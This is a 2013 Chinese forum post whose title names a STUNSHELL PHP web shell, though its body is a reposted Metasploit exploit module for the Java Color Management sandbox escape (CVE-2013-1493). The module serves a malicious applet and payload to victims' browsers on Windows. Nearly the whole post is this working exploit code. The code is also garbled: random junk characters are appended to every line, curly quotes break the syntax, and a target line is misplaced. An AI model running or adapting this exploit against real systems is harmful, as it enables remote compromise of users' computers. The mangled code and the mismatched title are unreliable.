找回密码
 立即注册
查看: 2868|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##- d; A. p) T5 o; W9 X5 a7 C$ ~
) j. O2 T, x! {  u
# This file is part of the Metasploit Framework and may be subject to
) d, J6 ~# U  i: {# redistribution and commercial restrictions. Please see the Metasploit& f2 r( t* l" @
# web site for more information on licensing and terms of use.# Q) Q0 i7 y  p! B: z# `, B: ?
# http://metasploit.com/* o2 p4 @$ C: Y0 Z2 E, p3 f
##$ I& K0 v- \2 U5 w; A
require ‘msf/core’8 E% l8 R% S* T+ S" v$ z; c6 y
require ‘rex’
: n- n4 q+ @6 j, b+ d' H8 w; h: Rclass Metasploit3 < Msf::Exploit::Remote
' x% {' L$ W0 `( i+ p6 nRank = NormalRanking, s  `6 N7 S6 @4 t
include Msf::Exploit::Remote::HttpServer::HTML
# j$ `1 p* m# Einclude Msf::Exploit::EXE
* ]; y$ Y/ C9 L4 K0 e- }& |8 \include Msf::Exploit::Remote::BrowserAutopwn
; q5 v. x* s! m. @autopwn_info({ :javascript => false })
; k7 A5 E# J- fdef initialize( info = {} )
5 g% J# w1 L# N! f1 f& psuper( update_info( info,- W: G' |+ v0 @! ]) C: D) D9 u2 r
‘Name’ => ‘Java CMM Remote Code Execution’,
% m3 s& N2 v3 Q% r, s3 p‘Description’ => %q{
. }5 {1 s# W# ]1 nThis module abuses the Color Management classes from a Java Applet to run; U# ^  q+ ]1 `7 |( G4 F
arbitrary Java code outside of the sandbox as exploited in the wild in February
" ?. F! {+ }& Q( r1 uand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
8 x. O$ L' c$ Qand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
8 E3 D- y$ D$ P' Ssystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
# S* x" W6 p% l4 awarning in order to run the malicious applet.3 q8 ?% `# Y0 }/ j6 f% u1 o+ H
},3 ?/ `+ z# M3 ^% I/ z
‘License’ => MSF_LICENSE,1 H" C9 ]0 L  S1 V  f8 k' H4 M% u
‘Author’ =>
- b- L- d& T# \3 v* ]! y'Unknown', # Vulnerability discovery and Exploit( }: P; Q0 {! Y) q; |4 O
'juan vazquez' # Metasploit module (just ported the published exploit)
, z4 R, X6 j0 `- f9 s],
9 S: |( H  `% g2 a0 Z5 b8 ^2 X6 q‘References’ =>
, o  Q' T# E" y- }' O  N[2 G3 W. M: }1 d! ~, J
[ 'CVE', '2013-1493' ],
8 S  w* K0 Y! {) p[ 'OSVDB', '90737' ],
) c# o" r( L/ a0 g0 x5 l) M[ 'BID', '58238' ],
( q/ ]' g- I9 b) {) i1 W[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],: F/ p7 Z8 P* A, N
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],: R( w9 ~- ]( T
[ 'URL', 'http://pastie.org/pastes/6581034' ]
$ ~$ x1 R5 {9 |7 x( o& S3 E) T& T],
" j2 e+ B+ v( u  V, H& o! {( h‘Platform’ => [ 'win', 'java' ],2 x6 t, |) I1 r6 T3 W
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
  m% A8 I' V" J4 u/ C" g3 @8 j‘Targets’ =>6 ^" u! A; w2 D; w6 F5 w8 _
[
" W, R3 S7 c+ U! J# N1 d[ 'Generic (Java Payload)',( ]8 C* V* N" T7 }2 m) x
{
* ?' J. G" o! r$ a'Platform' => 'java',
/ g! v3 m/ R, V9 |' B'Arch' => ARCH_JAVA
* X: L; C: i3 `6 }}* {' w4 T3 \) F; M
],! B/ |' D5 s2 v9 }# H$ z
[ 'Windows x86 (Native Payload)',: L8 ^3 @, n" @3 O9 W& `9 @3 d
{
! j  B$ \5 F6 L  o'Platform' => 'win',
2 N9 u/ p) M# K* G. i) ~8 j; {) C'Arch' => ARCH_X867 N9 f9 H) V# _/ _. W( y
}
  T7 ?6 _7 g9 `]) r/ Z3 z* m; Z/ |
],
/ ~8 p0 M& K# B" F/ U‘‘DisclosureDate’ => ‘Mar 01 2013′
% c, i6 F5 Q6 M8 D  |  G))
8 \2 w# a# w$ }# I0 X$ l! O1 D. d& \end
" c. y% j# |$ N; t5 v' @8 z; m! [6 Odef setup3 h, B- k: M; }# ?, j' r: N
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)( U1 ?  k- Q1 U# [  b
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
6 m5 _1 |3 D' {! b7 J' H8 vpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
  U8 `( n' ?7 d5 h@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }0 B! B" @2 f4 Z. a: e6 _" C" b
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
! a( u$ H% C( m9 S) u@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
. Z6 ]* l# V) R! ^path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)! d9 ]8 `; x8 ~% j  V3 d' X; F
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
( ~+ \$ [1 G: ]@init_class_name = rand_text_alpha(“Init”.length)0 V8 z  q: w7 E% N
@init_class.gsub!(“Init”, @init_class_name)
- ?0 }+ B/ u9 v- Osuper* Z' ~* I; I" L; L9 m  `, y
end
) f5 }' R' V' Y3 j3 |' H6 Ldef on_request_uri(cli, request)
. I  ^$ Y" U% \; u" T9 f% Sprint_status(“handling request for #{request.uri}”)# `6 I; u1 ?4 o! b% t
case request.uri! S# L' J# t! F* T
when /\.jar$/i2 N* L! b- D  v) {8 S
jar = payload.encoded_jar: R, K* e% H# J* w0 \2 k
jar.add_file(“#{@init_class_name}.class”, @init_class); L, l# X" L( Z5 ^
jar.add_file(“Leak.class”, @leak_class). T/ B- W' y, j. i3 }9 k
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)- O- U( ?* j4 t6 K  _  s6 k: e. P
jar.add_file(“MyColorSpace.class”, @color_space_class)
4 w5 Y* V5 U& HDefaultTarget’ => 1,6 B5 F# N9 Z9 q
metasploit_str = rand_text_alpha(“metasploit”.length)
2 ^- m9 O# `" S# f1 `) Npayload_str = rand_text_alpha(“payload”.length): F, T- j. F2 P, g6 T: j
jar.entries.each { |entry|
, |# v: q% j: Pentry.name.gsub!(“metasploit”, metasploit_str)' }+ S) V! F" T% P! A4 _# J1 v
entry.name.gsub!(“Payload”, payload_str)
& ~# t8 v" J; b; ~entry.data = entry.data.gsub(“metasploit”, metasploit_str)
: S* W9 i$ r$ \entry.data = entry.data.gsub(“Payload”, payload_str)4 z6 Z5 V/ Y" c2 N9 l% L1 r! u, E
}
" @) A3 [) a1 ?' W/ j- ljar.build_manifest1 W0 f6 {* d6 I
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })% R) Q" n& L; n+ z
when /\/$/
& E$ a1 \1 U& W: X8 ?2 ~6 ^; m- Upayload = regenerate_payload(cli)+ t' |# e* V) _" `  `* w( ?
if not payload0 M6 r8 G; L8 }# j1 r# Z
print_error(“Failed to generate the payload.”)7 Y8 \+ m* X  K' K  n* q* N# [
send_not_found(cli)7 G/ c' o0 E1 a/ O- H& ^5 @$ R! I
return
3 E: [# t( E1 |' z: N+ Qend
' k% I9 d, N* _4 Nsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
5 X1 G+ o& L0 W" u1 Welse
# H# Z' {+ a1 ?# K. fsend_redirect(cli, get_resource() + ‘/’, ”)( G2 u  J/ [. M% m; I- \& F6 G; e# i
end
/ P2 D- h$ b) M$ G  B6 hend
+ y" V" v, {& S1 d. Idef generate_html
0 a7 ?' g/ t6 W  W/ Whtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
! Y8 A" h! X8 K4 }: o' f& qhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
0 N, b; i1 Z+ p/ q) Q9 N2 a& qhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|: c* {* X; D2 s# E" o
html += %Q|</applet></body></html>|
1 M7 P* e! ]1 T$ z8 O: rreturn html) U# t7 G, q2 S! [# N- _. c: ?
end/ L/ \9 S3 x1 z& D9 I* q! H
end
3 f/ e$ n" B; s  D% }end9 p( e, K0 O/ K- c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表